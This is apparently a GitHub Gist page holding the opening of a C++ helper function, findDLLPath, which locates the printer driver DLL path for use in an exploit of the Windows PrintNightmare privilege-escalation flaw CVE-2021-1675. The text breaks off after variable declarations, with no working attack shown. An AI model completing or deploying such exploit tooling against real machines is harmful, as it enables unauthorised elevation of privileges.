Skip to content

Instantly share code, notes, and snippets.

@hlldz
hlldz / cve_2021_1675_lpe_dll_finder.cpp
Last active January 26, 2022 12:39
DLL Path Finder for CVE-2021-1675 (LPE)
// It is returns DLL path, you can use that value in exploit.
// Example return value: C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_xxxxxxxxxxxxxxxx\Amd64\UNIDRV.DLL
wchar_t* findDLLPath() {
wchar_t targetDLLPath[MAX_PATH] = { 0 };
DWORD dwNeeded;
LPBYTE lpDriverInfo;
DWORD dwReturned;